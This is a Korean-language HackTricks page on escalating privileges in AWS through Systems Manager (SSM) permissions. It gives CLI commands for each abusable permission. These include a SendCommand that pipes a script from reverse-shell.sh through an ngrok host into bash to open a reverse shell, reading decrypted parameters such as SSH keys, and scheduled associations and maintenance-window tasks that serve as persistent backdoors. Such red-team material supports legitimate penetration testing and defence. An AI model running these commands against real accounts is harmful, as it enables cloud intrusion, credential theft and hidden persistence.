AWS - SSM Privesc

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

SSM

SSM에 대한 더 많은 정보는 다음을 확인하세요:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

권한 ssm:SendCommand 를 가진 공격자는 Amazon SSM Agent가 실행 중인 인스턴스에서 명령을 실행할 수 있으며, 그 안에서 실행 중인 IAM Role을 compromise 할 수 있습니다.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

이미 compromise된 EC2 instance 내부에서 privileges escalation에 이 technique을 사용하고 있다면, 다음으로 rev shell을 로컬에서 capture하면 됩니다:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

잠재적 영향: 실행 중인 SSM Agents가 있는 실행 중인 인스턴스에 연결된 EC2 IAM roles로 직접 privesc 가능.

ssm:StartSession

ssm:StartSession 권한이 있는 공격자는 Amazon SSM Agent가 실행 중인 인스턴스에서 SSH와 유사한 session을 시작할 수 있으며, 그 안에서 실행 중인 IAM Rolecompromise할 수 있습니다.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Caution

세션을 시작하려면 SessionManagerPlugin이 설치되어 있어야 합니다: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Potential Impact: 실행 중인 instance에 연결된 SSM Agents가 있는 EC2 IAM roles로 직접 privesc 가능.

Privesc to ECS

ECS tasksExecuteCommand enabled 상태로 실행될 때, 충분한 권한이 있는 users는 ecs execute-command를 사용해 container 내부에서 execute a command 할 수 있습니다.
the documentation에 따르면, 이는 SSM Session Manager를 사용해 “exec“ command를 시작하는 데 사용하는 device와 target container 사이에 secure channel을 생성하는 방식으로 수행됩니다. (이 기능이 동작하려면 SSM Session Manager Plugin이 필요함)
따라서 ssm:StartSession 권한이 있는 users는 이 옵션이 enabled 된 ECS tasks 안으로 get a shell inside ECS tasks 할 수 있으며, 다음을 그냥 실행하면 됩니다:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Potential Impact: ExecuteCommand가 활성화된 실행 중인 task에 연결된 ECS IAM roles로 직접 privesc.

ssm:ResumeSession

ssm:ResumeSession 권한을 가진 attacker는 disconnected SSM session state가 있는 Amazon SSM Agent가 실행 중인 instances에서 SSH 같은 session을 다시 시작할 수 있으며, 그 안에서 실행 중인 IAM Role을 compromise할 수 있다.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Potential Impact: 실행 중인 instance에 연결된 EC2 IAM roles가 SSM Agents가 실행 중이고 disconected sessions인 경우로 직접 privesc 가능.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

언급된 permissions를 가진 attacker는 SSM parameters를 나열하고 이를 clear-text로 읽을 수 있습니다. 이러한 parameters에서는 종종 SSH keys나 API keys 같은 민감한 정보를 찾을 수 있습니다.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

잠재적 영향: parameters 안에서 민감한 정보를 찾을 수 있습니다.

ssm:ListCommands

이 권한을 가진 공격자는 전송된 모든 commands를 나열할 수 있으며, 운이 좋으면 그 안에서 민감한 정보를 찾을 수 있습니다.

aws ssm list-commands

Potential Impact: 명령줄 내부의 민감한 정보를 찾을 수 있습니다.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

이 권한을 가진 공격자는 전송된 모든 commands를 나열하고 생성된 output을 읽을 수 있어, 그 안에서 민감한 정보를 찾을 수 있습니다.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Potential Impact: 명령줄 출력 안에서 민감한 정보를 찾습니다.

Using ssm:CreateAssociation

ssm:CreateAssociation 권한이 있는 공격자는 SSM에서 관리되는 EC2 인스턴스에서 명령을 자동으로 실행하기 위해 State Manager Association을 생성할 수 있습니다. 이러한 associations는 고정된 간격으로 실행되도록 구성할 수 있어, interactive sessions 없이 backdoor-like persistence에 적합합니다.

aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

Note

이 persistence method는 EC2 instance가 Systems Manager에 의해 managed되고, SSM agent가 실행 중이며, attacker가 associations를 생성할 permission이 있는 한 동작한다. interactive sessions나 명시적인 ssm:SendCommand permissions는 필요하지 않다. Important: --schedule-expression parameter(예: rate(30 minutes))는 AWS의 최소 30분 간격을 준수해야 한다. 즉시 또는 1회 실행의 경우 --schedule-expression을 완전히 생략하면 된다 — association은 생성 후 한 번 실행된다.

ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)

**ssm:UpdateDocument**와 ssm:UpdateDocumentDefaultVersion permissions를 가진 attacker는 기존 documents를 수정하여 privileges를 escalate할 수 있다. 이는 해당 document 내에서 persistence도 가능하게 한다. 실무적으로 attacker는 custom documents의 이름을 얻기 위해 **ssm:ListDocuments**도 필요하며, attacker가 existing document 안에 payload를 obfuscate하고 싶다면 ssm:GetDocument 역시 필요하다.

aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2

아래는 기존 문서를 덮어쓸 수 있는 예시 document입니다. invocation 문제를 방지하려면 document type이 target document의 type과 일치하는지 확인해야 합니다. 아래 document는 예를 들어 ssm:SendCommandssm:CreateAssociation examples에서 사용됩니다.

schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"

ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)

**ssm:RegisterTaskWithMaintenanceWindow**와 ssm:RegisterTargetWithMaintenanceWindow 권한을 가진 공격자는 기존 maintenance window에 새 target을 먼저 등록한 다음, 새 task를 등록하여 권한 상승을 할 수 있다. 이렇게 하면 기존 targets에서 실행이 가능하지만, 새 targets를 등록함으로써 서로 다른 role을 가진 compute를 침해할 수 있다. 또한 maintenance window task는 window 생성 시 정의된 간격으로 실행되므로 persistence도 가능하다. 실제로는 maintenance window ID를 얻기 위해 **ssm:DescribeMaintenanceWindows**도 필요하다.

aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100

Codebuild

SSM을 사용해 빌드 중인 codebuild 프로젝트 내부로 들어갈 수도 있습니다:

AWS - Codebuild Privesc

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기